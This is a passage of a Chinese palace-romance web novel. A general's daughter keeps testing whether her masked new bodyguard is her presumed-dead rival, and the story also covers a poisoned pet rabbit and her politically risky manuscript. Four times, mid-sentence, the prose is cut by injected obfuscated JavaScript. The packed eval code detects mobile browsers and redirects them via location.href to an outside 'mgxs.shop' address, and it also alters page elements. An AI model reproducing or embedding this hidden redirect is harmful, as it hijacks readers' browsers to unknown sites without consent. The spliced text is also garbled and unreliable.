发现少了一个相似点,黎书意有些失落,可抬眸一扫下颌轮廓,疑心并未打消,斗争良久,她做出了一个大胆的举动,她抬起右手揭下了那碍眼的面具。 看到脸的那一刹那,她眼里蕴藏的期待彻底消失,这并非谢烜赫的脸。 “黎二姑娘!”少年显然被她的这番动作给惊着了,急忙从她手中夺回面具,然后又为自己重新戴上了。 他的动作促使黎书意从失望中回神,知道自己的行为欠妥,她开口道歉:“对不起,因你的身形很像我的一个旧识,我以为你是他。” “二姑娘说的可是那位昭王世子?” 这话说完,两边都陷入了沉默,因为知道口中之人的悲惨结局。 过了一会,黎书意重整心情,她仰头看着那张银面,小心地问道:“你脸上的伤……” 方才拿下面具的那一刻,她看到了他上半张脸几近毁容,从额头到面颊没有一块完好的皮肤,就像是包子上的折纹,皱成一团,十分可怖。 时野低声解释:“小时候家里发生过一场火灾,这是那时受的伤。” “哦……”黎书意轻叹,她原只是礼貌的询问而已,再说那不是什么美好的回忆,就没继续往下问。 沉默的气氛在蔓延,少顷,兰亭走了过来,向她报说:“二姑娘,厨房菜快做好了。” 说完看向时野,好奇地问:“二姑娘他是……” 黎书意回道:“她叫时野,是父亲新派给我的贴身侍卫。” 言毕,她转身朝尚姜院方向走去。 …… 正院膳厅,丫鬟婆子们端着餐盘进屋,食案上瞬间被美味佳肴填满,室内萦绕着诱人的香气。 布菜结束,黎横天讨巧地望着女儿道:“嗯,果然还是家里的菜闻着香。” “那是。”黎长策附和。 “那快尝尝吧。”两人的逗趣令黎书意笑了,说着她往父亲碗里放了一块鱼肉,然后又夹了块鸡肉搁到兄长碗里,调侃道,“来,我们小侯爷也多吃点。” 黎长策接下妹妹的关心,对玩笑只无奈般地叹了口气。 “你啊你,都还没正式册封呢。”黎横天宠溺地摇头。 黎书意弯起两只眼睛,开心地笑了笑。 武将不似文臣,拘泥于形式规矩,一家人许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545663|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久未见,便抛下那些束缚的礼数,三人边吃饭边聊天,气氛温馨融洽。 吃到一半,黎书意忽想起一事,便问:“对了,父亲今日进宫怎么样?” “无事。”黎横天安抚道。 黎长策接口说:“毕竟是带着战功回来的。” 黎书意闻言沉吟,即便圣上心中猜忌,但明面上还是不能有疏漏,又想到什么,她追问:“兄长封候,那父亲……” “你今天看到了,就是那些金银。”还是黎长策说话。 斩俘一万九千多人,不仅守住了领地,修复了防御工事,而且还反占领了对方的大片土地,保证了西境的安全,如此大的军功居然只赐金银,却无增封食邑的赏赐。 喜悦被浇灭,黎书意心头罩上了一层愁云,她原以为凭借父亲这些年在外征战的战功,那空悬着的太尉之职应该是探囊取物了。 看来,这一场胜战还是没办法消除圣上的猜忌,想到这她停了筷子,心情复杂。 看出了女儿的想法,黎横天在旁宽慰道:“这样也好,这种时候若再出风头,只会引来更多的针对,如今将军府本就处在风口浪尖,收敛锋芒没有坏处。” 黎书意虽知道是这么个理没错,但是付出了却没有得到相应的回报,难免让她心有不满。 提到这茬,她的心思自然转到了她的新侍卫身上,此时室内只余他们一家三口,言语上不需要顾忌,她不再遮遮掩掩,试探着开了口:“时野真的是前都护府司马之子?” 她问得隐晦,可内里的意思想必父兄是清楚的。 果然话音刚落,听见兄长道:“你想说他长得像他。” 这个他,他们都知道说的是谁。 “在安士,我第一次见他的时候也恍惚了一下,不过,他的确不是。” 兄长说话时黎书意一直注视着他,见他神色晦暗不明,毕竟谢烜赫和他是从小玩到大的好友。 讲到沉重的话题,室内慢慢陷入了安静。 考虑到今晚这顿饭是接风洗尘宴,不应该再说这些扫兴的事,于是黎书意转了话头,央求父兄给她讲一些边塞的见闻。 三人边吃边聊,这顿饭足足吃了一个时辰才终于收场,饭后她向父兄告别,然后便回自己的载驰院了。 夜已经深了,四下昏沉一片,行至院中,见正房门前立着一人,她定睛一看,发现正是时野。 “二姑娘。”少年点头行礼。 “你在这里做什么?” “值夜。” 月上柳梢,少年站在廊下,在朦胧月光的映衬下,眼前的人看着更像谢烜赫了。 她压制住心里冒出的念头,收回了目光朝前迈步,口内淡淡道:“将军府守卫森严,不需要你时时刻刻守着,过了三更便回房休息去吧。” 说完她推开房门,临了却又突然转头,起了试探的心思,“你能说几句胡语给我听听?” 门口的人听后愣住,似乎不懂她为何话题转得如此快,沉默了一会他到底开口说了一段话。 黎书意很认真地看着他发声,等话音落下她问:“什么意思?” “平安喜乐,得偿所愿。” “谢谢。”她低声说,然后转身回房了。 5. 试探 朝阳透入卧房,斜光泄在罗幕,黎书意从包裹的暖意中苏醒,她悠然睁开眼睛,许是父兄归家的缘故,这一夜她难得没有再做噩梦了。 舒展四肢时兰亭走进里间,一边挂帐帘,一边笑道:“二姑娘今日睡得不错。” “嗯。”黎书意懒声应着,旋即掀开被子下床。 弄妆完毕,她去了尚姜院,半年没见,今早必须得问安。 刚走到门口,见父亲在院子里晨练,他出拳张弛有度,快时疾如闪电,慢时缓若游云,身法敏捷。 不想打扰到他,黎书意便立在一旁静观,她一面为父亲的英姿而自豪,一面又为他而担忧,尽管招式与力度和从前无数次看见的一样,可这并不能代表他没有受过伤。 良久,父亲收招,黎书意急忙整理好自己的心情,然后迎上前去。 黎横天向女儿展露笑容,父女俩绕着院子说了会话,接着散开来做各自的事去了。 午间,用过午膳,黎横天和黎长策父子俩先后出府了,都是刚外出归家的人,眼下自然是要与好友聚一聚的。 晴日风暖,黎书意心里平静无杂想,让兰亭沏了一壶茶,她移步至凉亭里纳凉。 正懒洋洋地坐着,忽然听见有人走到近旁,她侧头掀起眼皮一瞥,见是一个戴着面具身穿侍卫武袍的男子,脑袋空滞了一瞬,方才回想起来这是她的新侍卫,时野。 他身上衣裳虽更换了,头发却没有变,然而并无不伦不类之感,想起城中的那些胡人也是这样穿的,她便没有置喙。 昨晚自己已经试过他会说胡语了,可孟章城中有不少胡人,因此也有会讲胡语的人,虽然从前没听谢烜赫讲过,但这并不代表他不会。 黎书意不死心,打算再试一试。 这般想着,她审视地看着少年道:“作为我的侍卫,我似乎还未见识过你的身手?” “二姑娘想要我做什么?”少年问。 “嗯……”黎书意闻言沉吟,目光在院落里四处跳跃着,最后视线落到了池塘边的桃树上。 这桃树自她来时起便长在这儿了,眼下正是结果的时令,树上枝繁叶茂,缀着许多硕大的红果,低处的桃子近来已经被摘得差不多了。 她将食指往左侧最高处一指,那里有一颗极大极红的桃子,发号施令道:“那你就把那颗桃摘下来吧。” 时野顺着她手指的方向看过去,旋即回过头说了一个“好”字,接着便转身往桃树边走去。 走到距离树干两步开外的位置,他停下脚步,然后右脚轻点地面,身体便随之腾空而起,霎时间拔高数丈,伸出去的手轻松触到了那颗果实。 摘了桃,少年轻盈落地,随即径直向她走来,到了跟前,手掌摊开往面前一递。 看着那熟透了的桃子,黎书意心生不满,暗自责怪他动作太快,她这还什么都没看出来,就结束了。 示意兰亭接下红桃,她望着少年,又问:“你的剑术如何?” 这个不行,那她便换一个。 “会一点。” 会就行,她点头,记忆里谢烜赫剑术不错,她曾看过不少次他与兄长对招的情况,让他舞剑兴许可看出什么。 如此想着,她唤道:“兰亭,让人备剑。” 兰亭立即吩咐小厮去兵器库取剑,小厮不一会便抱着剑跑来,黎书意看着时野,“给他。” 时野接过剑,等待着她发话。 “开始吧。”她淡淡开口。 时野点头,走出凉亭站到空地上,面对她拔剑出招,他动作行云流水,快剑如风,寒芒闪动,黑色身影如燕子般轻盈灵巧。 黎书意咋舌,这叫会一点,未免也太过谦虚了。 惊讶归惊讶,然而观察的结果令她大失所望,无论是从招式还是从习惯上来说,两人没有半点相似。 谢烜赫用剑招式多变,挥舞间剑影纵横,锐意中带着几分美感。时野在招式上则没那么多变化,但是剑法奇诡,喜欢剑走偏锋,剑势也更凌厉。 愁眉不展间,黎书意又注意到了他腰间别着的深棕色软鞭,“看你一直带着这鞭子,所以你擅长用鞭?” “是。”时野回道,然后看着她问,“二姑娘想看?” 面具里露出的黑色双眸询问地注视着她,她被瞧得不自在,可因为带了目的,最后还是强装镇定地说:“想看。” 见她给出肯定的回答,少年二话不说拿下了腰间的软鞭,走到亭外后扬臂将鞭子甩出,只见挥动间那鞭子犹如灵蛇在空中左右盘绕,还伴随着“嗖嗖”的响声。 “二姑娘还想看什么?”未几,少年收了鞭子回到她面前,俨然一副等着她继续差遣,然后他接着展示的模样。 看着站在自己面前的人,黎书意心里气不打一处来,这都试了将近一刻钟了,她竟是什么都没试出来。 “天气太热,不试了。”她气恼地站起身来,唤兰亭道,“我们走。” 说着,便朝亭外走去。 人还未走出凉亭,一名侍女急匆匆跑了过来,焦急道:“二姑娘,墨团不好了!” “什么?”黎书意骤然一惊。 侍女慌忙解释:“婢子也不知道是怎么了,今早还好好的,现在却呕吐不止。” “我去看看。”说着,黎书意快步朝外走,同时转头吩咐身后的兰亭,“你去请兽医。” 墨团是一只灰色皮毛的兔子,黎书意养它有半年多了,虽没有日日相伴,但是也常常去小窝前给它喂食,看着兔子的三瓣嘴一动一动地吃草叶,她心里觉得很沉静很满足。 穿过庭院走到墙根处,黎书意来到兔子窝前,只见肉绒绒的灰兔蹲在干草堆上,身体不时抽搐着,口里正吐着白沫。 她蹲下身,手顺抚着兔子背上的毛发,想要帮它缓解痛苦,然而根本于事无补,兔子依旧在呕吐,看着它在地上翻滚,她的心跟着一抽。 这只兔子绝对不能死,想到这她忙问:“兽医到了吗?” “没有……”侍女战战兢兢地回答。 黎书意心中焦急不已,她担忧拖得久了,便难以救治了,然而她不懂治病,只能眼睁睁地看着兔子垂死挣扎。 就在这时,一抹黑色的衣角闯进视野,接着就听见一个低沉的声音说道:“它应该是吃了不干净的东西。” 黎书意迅速抬头,看了一眼跟过来的时野,旋即连忙问喂养兔子的侍女:“它今天都吃了什么?” 侍女回想了一番,答说:“没别的,就像平时一样,喂的燕麦干草。” “那估计是在院子里吃了不该吃的东西。”时野又道。 想着如果能知道兔子吃了什么,兽医来时便能更好地对症下药,黎书意立即吩咐院里的仆从们:“你们到处看看,这里可少了什么东西。” “是。”仆从们应声,然后大家四散开来在院子里查看起来。 黎书意的目光重又回到灰兔身上,见它还在吐着,她望穿秋水般往月洞门方向看,希望兰亭能快些带着兽医回来。 “看二姑娘如此宝贝这兔子,它是什么重要的人送的吗?” 重要的人?她嗤之以鼻,回答道:“是一个讨厌的人。” 这只兔子是去岁秋猎时她从谢烜赫手下要过来的。 在西景,皇家围猎是盛事,皇子皇孙、王公大臣、世家子弟,以及一众女眷都会参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545664|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黎书意虽不会射箭,骑术也不精,但这些并妨碍不了她对围猎的热情,自打能出门社交开始,西景的围猎她都会跟着父兄去凑热闹。 她喜欢于高山峻岭和长松杂树之间领略自然风光,更喜欢看父兄腰配弓箭、仪刀,驾马追射猎物的飒爽英姿。 为鼓舞士气,围猎通常都有彩头,一般是结束以后按所猎之物的稀有或多寡给予嘉奖,而好友之间则会有另外的赌约,兄长、谢煜然和谢烜赫定下的便是谁输了谁就请喝一个月的酒。 时近傍晚,围猎到了尾声,狩猎的人从各处赶回野外大营,黎书意与兄长各自下马,两人走到兽笼前,将新猎的猎物放在中间笼子里。 面前的三个笼子里都装着不少猎物,大件有野猪、獐子、豹子等物,小件有凫、雉、鸳鸯等物。 正看着,谢煜然来了,他的贴身侍卫双诫将一只大雁放进左边的笼子里。 虽谢烜赫还未来,但已经可以开始清点了,目前的结果是谢烜赫最少,兄长次之,谢煜然最多。 少顷,谢烜赫握着长弓穿林而出,他身后跟着三个仆从,看那吃力的模样,应该是猎到大物了,算是这件,估计便与兄长齐平了。 待走近了,见他们抬的是一只狼。 耳边传来谢煜然的朗笑声,他不无得意地说道:“这月的酒就由你们承担了。” 狼被放到收拢谢烜赫所猎之物的笼子里。 这时,黎书意注意到了最后面的侍卫星渊,她看见他手里捧着一只灰兔,灰兔受了很重的伤,血迹凝固在毛发上。 眼见竟然还有一只兔子,兄长耸肩叹气道:“看来变成我一人受罚了。” 捧着兔子的星渊笑说:“我家主子猎狼的时候它嘴里正好叼着这只兔子。” “你这是一箭双雕啊。”谢煜然评价道。 黎书意看着灰兔,见它奄奄一息趴伏在星渊手中,双眼圆润光滑,像是黑曜石一般,散发着耀眼的光芒,看起来无辜又可怜。 谢烜赫注意到她的目光,便问:“你想要?” 她并非什么大慈大悲之人,她每日大鱼大肉的,这些年不知道吃了多少生灵,可看着兔子的惨状,免不了就动了恻隐之心,于是她点了头。 “给她。”谢烜赫对星渊道。 这只兔子就这么成她的了,因为是刚得到的,又受了些伤,刚拿回家饲养的那段日子她相当上心,精心地照料了一月,最后兔子总算是恢复如初了,每日在院子里蹦蹦跳跳的。 看着从前活泼跳脱的兔子如今却精神萎靡,黎书意心头难过不已。 因为和谢烜赫不对付,所以除了人情往来的礼物以外,她身边没什么他的东西,这只兔子是她与他唯一有联系的活物。 明明知道这样子很傻,可她总觉得只要兔子还活着,那么谢烜赫就一定还活着。 想到那个人,她不由眼眶一热。 “二姑娘,兽医来了!” 感伤之际,兰亭的声音传了过来,黎书意欣喜起身转头,看见两人正急匆匆地走来。 “二姑娘二姑娘!”紧接着,一个小厮捧着一张白纸走过来,对她道,“兔子大约吃了耗子药。” 耗子药的威力她不甚了解,便问大夫:“大夫,可有救?” “我先试试催吐。”大夫说道,然后蹲下身查看兔子情况。 见此情形,黎书意的心情稍定,既然已经知道了病因,而大夫又在这,问题应当不大,她瞬间松了口气。 谢烜赫看着眼睛红红的少女,刚才他问她兔子是不是重要的人送的,她回答说是一个讨厌的人,可是她都急哭了,或许她没有这么讨厌自己吧…… 6. 出浴 好在墨团只吃了一粒老鼠药,经过催吐和喂药,它的状况逐渐好转,最终待在自己的小窝安静地睡过去了。 看着它起伏的肚皮,黎书意彻底安心了,吩咐养兔子的侍女好好照顾小家伙后,她领着兰亭回正房了。 由于父兄皆未归家,所以今晚大厨房并未开火,小厨房为她准备了三菜一汤,两荤两素,吃完饭她坐在桌边喝茶消食,顺便想一些心事。 为了不让她担心,父亲受伤了从不在她跟前提,只有在被她发现之后,才云淡风轻地说句小伤罢了。 这两日,因为时野的出现,她一门心思想要验证他是否是那个人,竟然忘记了关心父兄的身体情况,出塞半年,大大小小打了好几场战,他们怎么可能会没有受伤呢? 知道两人有个大病小痛的,不会同自己说,黎书意便决定从旁人身上下手,正巧她身边就有这样一个知情人士。 昨天用晚饭时,她听闻时野后期也是上战场了的,并且还救了兄长,她可以去问他。 于是,小坐了一会,黎书意便独自去找时野了。 侍卫所居院落在后院,一踏入院子,首先映入眼帘的是一排排粉墙黛瓦的屋舍,靠墙边的地方则摆放着一些兵器架,上面整齐地排列着刀枪剑戟等兵器。 院子北角有一颗高大繁茂的槐树,来时她问过富春姑姑,槐树旁边的房间便是安排给时野的住所。 到了谢烜赫房门口,见门是关着的,她抬手敲了两下。 “谁?”里头传来简短的一个字。 “我。” 话音方落,屋内传来淅淅沥沥的水声,难不成时野这是正在沐浴吗?想到这她有点尴尬,急忙道:“你若是不方便,我明日再来亦可。” “不用。” 既然人都这么说,她也已经打扰了,便只好静候着。 站了一会,听见脚步声接近,接着门在面前敞开,时野把着门站在内侧。 只见他湿发随意地披散着,水正顺着发柱滴落在肩上,洇深了衣色,大约是出来得急,衣裳不若平时穿得板正,腰上束带松松垮垮,衣领也敞开大半,露出胸前一片玉白肌肤。 黎书意今年十五了,作为一个尚未出阁的女子,她从没见过男子出浴的模样,包括父兄也是没有的,所以眼下脸上有点难为情。 面前的人是有面具遮掩了,而自己面上的红晕却无处可藏,她飞快移开目光。 下一刻,她心里突生疑窦,这么匆忙前来应门,连衣裳穿得都不够板正,居然还不忘戴面具,是因为自卑不愿被人看见烧毁的容颜,还是…… 她越想越觉得可疑,午间多番的试探皆以失败告终,她几乎就要作罢了,可是墨团误食老鼠药的事让她对谢烜赫的生死变得更加执拗了。 眼下这么好的机会,若是伪装说不定面具之下什么都没有,她越想心越痒,那因为窥见男子出浴的别扭顿时消失得无影无踪。 最后一次,她在心里对自己这么说,打定了主意,她摆正头与面前的男子对视,像昨天那样,她不打招呼便揭下了时野的面具。 然而,令她失望了,面具下丑陋的烫伤亦如初见。 黎书意是如此厌恶它的存在,有那么一刻,她想上手细细检查,可是她的行为已经如此出格了,再多做实在不妥。 “二姑娘,我不是他。”耳畔传来时野低沉的声音。 “是,你不是他……”良久,黎书意张口接话,三番四次的试探,却一次次失望,她认了。 言毕,听见一声微弱的叹息,或许是时野在怜悯她的执着吧。 一段压抑的沉默过后,时野问:“二姑娘找我有事?” 听了这话,黎书意回神,整理了一下心情,然后说:“听说你最近几月一直随父兄打战?” 时野点头称是。 “我想知道他们在战场上是否有受重伤?” “上战场受伤在所难免。” 这道理她比大多数人都清楚,因为父亲是武将,所以她从小就被要求要做足心里准备。 只是,即便有了足够的心理准备,也不能代表她就可以做到不担忧不在乎,尤其随着父亲年龄渐长。 许是见她沉默,时野兀自说了起来:“大将军在第二次出战时被毒箭射中胸口,好在避开了要害,休养了月余,伤口基本好了。” 虽不是致命伤,但想必不会好受,黎书意听后心疼不已,接着她又问:“兄长呢?” “少将军后背被敌将砍了一刀,伤口从肩甲一直划到腰部,不过伤口并不深,只是失了些血。” 还好,不是不能承受。只是这次她的心里比以往要多添了几分堵,她的父兄和黎家军在战场上抛头颅洒热血,用生命捍卫着领土的完整,然而凯旋而归得到的却是圣上的猜忌和打压。 “谢谢你告诉我。” “不用。” 正事说完,气氛又渐渐回归怪异。 先打扰他沐浴,又揭了他的面具,黎书意不好意思再待下去,说了句“我无事了,你回去吧”遂转头离开。 走出几步,她忽又回过头来,认真地道歉:“对不起,三番四次冒犯你。” “没关系,卑职能理解。” 闻言,黎书意正视门内的人,虽然时野性格冷淡,但是为人很好,既然他不是谢烜赫,那么她就该把他当成一个独立的人看待。 想到这她抬起头,露出一个浅淡的笑容,认真嘱托道:“那以后我的安全就拜托你了。” “卑职定当尽全力保护二姑娘。”门内的人郑重回道。 …… 书房,雁炉上空轻烟浮动,室内清香弥漫。 黎书意端坐在书案前,她盯着面前厚厚的一沓书稿,眉头轻皱着,脸上是拿不定主意的纠结。 良久,她终于站起身,将纸张收拢了,然后拿着它们去了玄微院。 “兄长在做何事?”到了院中,她问站在门外的侍卫绿沉。 绿沉答说:“少将军正在房里看书。” 见兄长并未在忙正事,是可以打扰的,于是黎书意抬手敲门,听到屋里传出“进”字,她推门入屋。 兄长抬头看过来,瞥见她手里的纸张,惊讶道:“写新书了?” “嗯。”她点头,然后走到桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545665|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,将纸张递上前去,“你帮我看看。” 黎长策含笑接过书稿,他这小妹极好读书,文思敏捷,自幼便能作诗写词,文学造诣在他之上,通常他是她的第一个读者,去岁她开始尝试写话本,也是最先拿给他看的。 他从首页看起,慢慢地,他投入其中,就这么一页一页看下去了。 书房里很安静,黎书意并未落座,而是就站在桌案边,她看着自家兄长看完一页再放下一页,心里既紧张又期待,然而兄长表情沉静,她瞧不出他对自己新写的话本的看法。 半晌,见最后一页纸放到了书案上,她迫不及待地问道:“如何?” “故事很好,只是……”说到这黎长策顿住。 “只是什么?” 看着神色激动的小妹,黎长策心道只是她未免也太大胆了点。 话本虽然才写了一个开篇,但是已经可以看出些许情节来,书中讲述了镇国公姚荐辕被政敌严会之参本,言他与造反的明王有书信往来,惹得龙颜大怒,最终被剥夺了爵位,贬谪至北地,负责驻守边境。 由于十岁以上男丁皆在流放之列,家中便只剩下一群老弱妇孺,看着因为失去名誉、家产和主心骨而乱做一团的家,女主姚写意决定承担起家庭的责任。 她与母亲孟氏、嫂子姜氏聚坐商议,讨论未来要如何谋求生计和重振家族,三人最后利用现有资金,携家中女眷在京城开了一家酒楼,归平楼。 尽管身份不同,经历也相左,可黎长策一看便知这写的就是关于他们的故事。 观兄长欲言又止,黎书意便明白了他在担忧什么,这也正是她所担忧的,要不然她也不会发愁,想到要来向他寻求建议。 这是继《学崖》之后她的第二本话本,当时昭王案爆发,楼宛又来骚扰西境,父兄被紧急派去平乱,她一个人在家中心乱如麻,便只能借用文字来表达自己的飘摇动荡的心境。 她把将军府可能受昭王案牵连被抄家被贬谪的恐惧用故事宣泄出来,创造了拥有同样困境的镇国府一家人。 尽管心中对皇帝不满,但是在书里她仍然不敢言帝之过,最后便改为镇国公是受政敌告发的,原型嘛,就是那个老在皇帝跟前颠倒黑白的奸相梁甫。 这个故事写得艰难,半年时间才写了二十多页,眼下她不知道该不该写下去,不写她割舍不下,可若写的话,总觉得有点危险。 双方都沉默了许久,一个在等待回复,一个在考虑回复。 最后,黎长策开口道:“写吧,西景虽然对文字有颇多忌讳,但多是对诗词,况且你这是虚构的。” “真的可以吗?”黎书意睁大眼睛追问,她心中还是有点犹豫。 “写。”黎长策却愈发坚定起来,他将军府勤勤恳恳,却屡遭打压猜忌,既然暂时无法证明自己的清白,难道还不能用文字隐晦地表达自己的不满吗? 想起昭王之乱,想起这半载的风餐露宿,想起那被迫隐藏身份的好兄弟,黎长策的心彻底坚定了,“写。” 兄长的坚定和鼓励给了黎书意底气,她点头,然后郑重地说:“我会好好写的。” 7. 出游 得了兄长的鼓励和支持,黎书意积压在心里的顾虑烟消云散,她笑着走出书房。 刚走没两步,见兰亭迎面而来,便问:“怎么了?” “二姑娘,林大姑娘来了!” 一听这话,黎书意的双眸霎时间亮起,将手里的书稿递给兰亭,她快步朝外走去。 迎到人的时候,林静仪已经走到了内院,两人一碰上便拉起手对笑,最后她们在院子里的凉亭坐下了。 兰亭唤来近旁的侍女,让其准备糕点和茶水,自己则回载驰院去放书稿。 当午日明,碧空如洗,暖风携着花木的清香拂面而来。 黎书意望着身边的少女,感慨道:“好久没见了,难得你今天过来。” 林静仪闻言敛目,低声说:“最近在准备亲事,比较忙。” 经她这么一提,黎书意才终于想起来,林静仪与那昌顺伯府的世子是打小就订了亲的,本来说好等她及笄就成婚的,但是因为对方家里长辈前年去世,所以便拖了一年。 “唉……你居然都要成婚了。”想到这,黎书意不免惆怅起来,除了对闺中密友出阁的感伤以外,她更多的是对这段姻缘的不满。 昌顺伯之母林氏与林静仪的父亲林文正乃是同宗,林文正入孟章任官后自然得登门拜访,因两家小辈年纪相仿,林氏便牵头定下了这桩婚事。 起初,两家也算往来频繁,只是随着林氏的离开,来往逐渐少了,慢慢地,关系也就疏远了,只这婚事却一直在的。 黎书意并不看好这桩婚事,那赵承勋就是一个身无长物只懂得吃喝玩乐的纨绔,她为自家姐妹不值当,林静仪无论在门第、才华,还是样貌上都特别出挑,配那赵承勋委实太委屈了。 不过,早就定下的事,并不好轻易毁约,再说她一个外人不好多说什么。 “那位是……” 正在惋惜,发现林静仪的目光落到了她身后某处,一扭头就看见了朝这边走来的时野与兄长。 兄长自是不需要她介绍的,林静仪指的当然是时野,虽然这人穿的是普通的侍卫武袍,但架不住他身形挺拔高挑,又戴着面具,的确很容易引起注意。 收回视线,黎书意解释道:“展大哥现在是昭武校尉了,他是父亲新派给我的贴身侍卫,时野,从安士来的。” 话音方落下,两位身高腿长的少年已经走到了跟前。 时野抱拳行礼道:“见过林大姑娘。” 林静仪向时野点了一下头,然后抬眸看向黎长策,轻柔地唤道:“黎大哥!” 黎长策温柔一笑道:“静仪妹妹,好久不见。” 两方寒暄完,黎长策在空位上坐下,时野则立在黎书意身后。 接下来,林静仪问及黎长策在安士的情况,黎长策便绕开血腥的战争,说起了大漠的见闻,聊得颇投机。 黎书意知道林静仪明着是来看自己的,实则是来见半年未见的兄长的,她便识趣地安坐在一旁,只偶尔插两句话,大多时候喝茶吹风,或是看两人眉来眼去。 闲坐到未时,林静仪忽然起身向他们告辞:“不早了,我该走了。” “再过一个时辰就该用晚膳了,你就留下来吧。”黎书意出言挽留。 林静仪摇头说:“我是去西陵轩的路上抽空来的,一会还得回去试婚服。” 既然这样,黎书意便只好放弃,看着她领着侍女玉绿离开。 一阵清风吹过,林静仪身上的白衣如梨花绽开,望着那逐渐走远的柔媚身影,黎书意心头既难过又不甘。 看了一会,她猛然回过头,对着旁边神色晦暗不明的某人道:“兄长,我不想静仪和那不学无术的赵承勋成婚,你就不能让父亲向林府提亲吗?” “胡闹!他们两家是从小定亲了的。”兄长训斥道,他向来宠她,今次脸上难得露出严肃神情。 黎书意蹙眉,“可是那赵承勋并非良配。” …… 自得了兄长的鼓励,黎书意再没了顾忌,于是她重启断了许久的创作,每日午后便坐在小书房里伏案书写。 因写作需要安静,所以就连兰亭她也没让近侍在旁,她自己研墨,时而落笔时而凝思,时光悄然在笔端流逝,半个月的日子倏忽而过。 由于现下正处于混乱不堪的年代,西景、丹霄和白榆三个国家之间为争夺霸权与资源,战争频繁爆发,为防止敌军侵扰孟章,除了南方有山峦充当天然屏障以外,其余三面都有驻军,父亲负责镇守西面的巨杨营。 虽然他才从战场上回来,但是却没有闲太久,仅休整了几日,便去巨杨营组织练兵了,因营地距离孟章来回差不多要四个时辰,所以他并不时常回家。 而兄长,他本是弘学馆的在学学子,还有半年才结业,在家休整了几天,便也去上学了。 因此,最近早晚饭都是黎书意一人用的。 这一日,用过午膳,她让兰亭替她梳妆,一会她打算出去逛逛。 移步坐到镜台面前,见菱花镜中的人皮肤白皙亮泽,两腮浮着浅粉,之前挂在脸上的愁云已然消散,尽管还没能消除圣上对将军府的猜忌,但父兄平安归家就是良好的开始。 或许是她好不容易有心思打扮,兰亭极为认真,先替她绾了一个堕马髻,然后拉开首饰盒从中挑了一根垂银丝流苏翡翠七金簪为她插上,墨发衬着簪子,显得金银辉映,翠彩欲滴。 头发梳好,兰亭又打开漆奁盒子,继续为她施粉、涂脂、描眉、点唇。 从镜台前起身,她让兰亭先去准备,自己踱步来到衣柜前,仔细挑选起要穿的衣裳,目光横扫过去,她最后落到了一件青绿色薄纱大袖之上,拿出衣裙,她自行穿到身上。 夏裳薄而轻盈,清雅的颜色仿佛山林里苍翠的树叶,衣襟和裙摆上散落着许多文竹刺绣,金线在阳光下闪着微光,宛如叶片上晶莹的晨露。 在衣裳的映衬下,她整个人显得灵动俏丽,清逸绝俗,望着镜子里的自己,她满意地笑了,忍不住自夸一句道:“可真好看。” 哪知道话才刚说完,就听见一声短促的轻笑,她闻声转头,看见了端着瓷盘站在帘幕旁的时野,笑声无疑就是他发出的。 回想了一下,相处了大半个月,黎书意似乎还是头回听见他笑,这人性格冷淡,话极少,再加上那张遮住了情绪的冷硬面具,便更显得让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545666|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人难以接近了,这笑倒是难得。 但一想到这是调侃她自恋来着,她便不高兴了,尤其当她看见他嘴角的弧度依旧是上扬着的,便更加不满了,于是她彻底转过身,两手往外摊,不服气道:“怎么,难道我不好看?” 谢烜赫是过来送荔枝的,今年的荔枝刚送到府上,知她爱吃便赶紧送过来。 进书房发现没人,正厅外间也找不见,后面听到里间有动静,于是往这边走来,哪知刚到月门口就瞧见她站在镜台前自赏。 想起她的问题,他凝视着摊手的少女,见她鬓挽青云,桃花玉面,良久,吐出两字:“好看。” 尽管面前的人戴着面具,可到底还是能看见眼睛的,被那黑亮的双眸直白地盯着,黎书意的心跳莫名漏了一拍。 即便是寻常男子,这样看女子都会被视为无理的,更别说他还是她的下人了,可一想时野是胡人,礼仪与这边有所不同,况且又是自己让他看的,她实在没道理指责,于是便作罢了。 